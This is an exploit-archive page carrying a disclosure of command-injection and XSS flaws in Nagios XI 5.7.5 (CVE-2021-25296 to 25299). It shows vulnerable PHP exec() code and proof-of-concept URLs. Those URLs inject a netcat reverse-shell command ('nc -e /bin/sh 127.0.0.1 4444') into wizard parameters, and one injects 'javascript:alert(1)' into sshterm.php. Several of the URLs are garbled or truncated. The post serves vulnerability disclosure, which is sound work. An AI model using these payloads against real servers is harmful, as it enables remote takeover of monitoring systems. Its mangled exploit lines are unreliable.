

### File Archive: December 2022 <

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<b>LiquidWorm</b> 23 files
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<b>Google Security Research</b> 8 files
<b>T. Weber</b> 4 files
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### File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (8,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)

File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)

Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
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Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

### File Archives

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August 2022
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### Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
IOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

## Nagios XI 5.7.5 Remote Code Execution

Authored by fs0c-sh | Site [github.com](#)

Posted Feb 26, 2021

Nagios XI version 5.7.5 suffers from a cross site scripting and multiple remote code execution vulnerabilities.

tags | [exploit](#), [remote](#), [code execution](#)

advisories | [CVE-2021-25296](#), [CVE-2021-25297](#), [CVE-2021-25298](#), [CVE-2021-25299](#)

SHA-256 | 1c4f0a48f176dfe70f8a573c15bf859e525e542de8476de9e2f2e8911e7b671f [Download](#) | [Favorite](#) | [View](#)

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<pre># nagios-xi-5.7.5-bugs Bugs reported to Nagios XI  ## CVE-2021-25296  ### Code Location  `/usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php`  ### Code snippet  ```php if (!empty(\$plugin_output_len)) {     \$disk_wmi_command .= " --forcetruncateoutput " . \$plugin_output_len;     \$service_wmi_command .= " --forcetruncateoutput " . \$plugin_output_len;     \$process_wmi_command .= " --forcetruncateoutput " . \$plugin_output_len; }  echo \$disk_wmi_command; // Run the WMI plugin to get realtime info exec(\$disk_wmi_command, \$disk_output, \$disk_return_var); exec(\$service_wmi_command, \$service_output, \$service_return_var); exec(\$process_wmi_command, \$process_output, \$process_return_var);  ### POC (Works with admin/non-admin authentication)  https://10.0.2.15/nagiosxi/config/monitoringwizard.php? update=1&amp;np=50c0f98fe9018dc43c81672adlaeed5fd3f9710f013381519e553f846b5c2a86&amp;nextstep=3&amp;wizard=windowswmicheck nc -e /bin/sh 127.0.0.1 4444;\$submitButton2`  The `plugin_output_len` variable here is not sanitized and can give `command execution`. Eg: `plugin_output_len=1024; nc -e /bin/sh 127.0.0.1 4444;`  ## CVE-2021-25297  ### Code Location  `/usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php`  ### Code Snippet  ```php function switch_configwizard_add_cfg_to_mrtg(\$address) {     // get the data that we need     \$mrtg_conf_dir = "/etc/mrtg/conf.d";     echo \$address;     \$mrtg_cfg_file = "{\$address}.cfg";     \$absolute_mrtg_cfg_file = "{\$mrtg_conf_dir}/{\$mrtg_cfg_file}";     \$cfgmaker_file = switch_configwizard_get_walk_file(\$address);     // check if the file already exists for useful debugging     \$mrtg_confd_contents = scandir(\$mrtg_confd_dir);     echo "REACHED HERE1";     if (in_array(\$mrtg_cfg_file, \$mrtg_confd_contents)) {         debug("{\$mrtg_cfg_file} exists in {\$mrtg_conf_dir}, overwriting");     } else {         debug("{\$mrtg_cfg_file} does not exist in {\$mrtg_conf_dir}, creating");     }     echo "REACHED HERE2";     // copy the cfgmaker file to the mrtg cfg destination     echo \$cfgmaker_file;     echo \$absolute_mrtg_cfg_file;     if (!copy(\$cfgmaker_file, \$absolute_mrtg_cfg_file)) {         debug("Unable to copy from {\$cfgmaker_file} to {\$absolute_mrtg_cfg_file}");         return false;     }     echo "REACHED HERE3";     echo \$absolute_mrtg_cfg_file;     // add some meta info to the file     \$infofile = "### ADDED BY NAGIOSXI (User: ". get_user_attr(0, 'username') .", DATE: ". get_datetime_string(time()). ") ###\n";     exec("sed -i '1s .*/ {\$infofile} ' \$absolute_mrtg_cfg_file");      return true; } ...  ### POC (Works with admin/non-admin authentication) ... https://10.0.2.15/nagiosxi/config/monitoringwizard.php? update=1&amp;np=4ef78ca5c24c7c526dc86b23092b81c3231a7bf59e1eb67f9918b8daf7b6de9&amp;nextstep=3&amp;wizard=switch&amp;ip_adddre =e /bin/sh 127.0.0.1 4445;\$port=161&amp;snmpversion=2c&amp;snmpopts=5B&amp;snmpcommunity=5D&amp;public&amp;snmpopts=5Bv3_security_level=5D&amp;authPriv&amp;snmpoj ...  The `ip_address` variable here is not sanitized and can give `command execution`. Eg: `ip_address=1024; nc -e /bin/sh 127.0.0.1 4444;`  ## CVE-2021-25298  ### Code path  `/usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php`  ### Code Snippet  ```php case CONFIGWIZARD_MODE_GETSTAGE2HTML:      //      echo ("reached here =====");     //      // Get variables that were passed to us     \$address = grab_array_var(\$inargs, "ip_address", ""); // [User input]     \$port = grab_array_var(\$inargs, "port", "");     \$token = grab_array_var(\$inargs, "token", "");     \$no_asl_verify = grab_array_var(\$inargs, "no_asl_verify", 1);     \$hostname = grab_array_var(\$inargs, 'hostname', gethostbyaddr(\$address));     \$default_mem_units = grab_array_var(\$inargs, 'default_mem_units', 'Gi');     \$top_check_port = grab_array_var(\$inargs, 'top_check_port', '5693');     \$rp_address = nagiosocm_replace_user_macros(\$address);     \$rp_port = nagiosocm_replace_user_macros(\$port);     \$rp_token = nagiosocm_replace_user_macros(\$token);     \$services_serial = grab_array_var(\$inargs, "services_serial", "");     if (\$services_serial) {         \$services = unserialize(base64_decode(\$services_serial));     }     //      echo \$rp_address;     \$not_used = array();     \$return_code = 0;     \$alternative_host_check = false; </pre>	

```
...      exec('ping -W 2 -c 1 ' . $rp_address, $not_used, $return_code); // [Bug here]

...
### POC (Works with admin/non-admin authentication)
...
https://10.0.2.15/nagiosxi/config/monitoringwizard.php?
update=1&ns=e2401df06a3892ba612df20e1ce2f559d7647c4b5fcbaf7f64c23c0ea9df1564f&nextstep=4&wizard=digitalocean&no
-e /bin/sh 127.0.0.1 4445;$port=5693;$token=123&submitButton2=
...

The 'ip_address' variable here is not sanitized and can give 'command execution'. Eg: `ip_address=1024; nc -e
/bin/sh 127.0.0.1 4444;`

## CVE-2021-25299
### Code Location
`/usr/local/nagiosxi/html/admin/sshterm.php`
### Code Snippet
...php+HTML
<?php if ($se) { ?>
<iframe src="<?php echo $url; ?>" style="width: 50%; min-width: 600px; height: 500px;"></iframe>
<?php } else { ?>
<div style="color: #FFF; font-size: 14px; font-family: consolas, courier-new; background-color: #000;
padding: 2px 6px; overflow-y: scroll; width: 50%; min-width: 600px; height: 500px;">Enterprise features must be
enabled</div>
<?php
}
...

### POC
`https://10.0.2.15/nagiosxi/admin/sshterm.php?url=javascript:alert(1)`

The 'url' variable is not sanitized and can give 'xss' .
```

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (676)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

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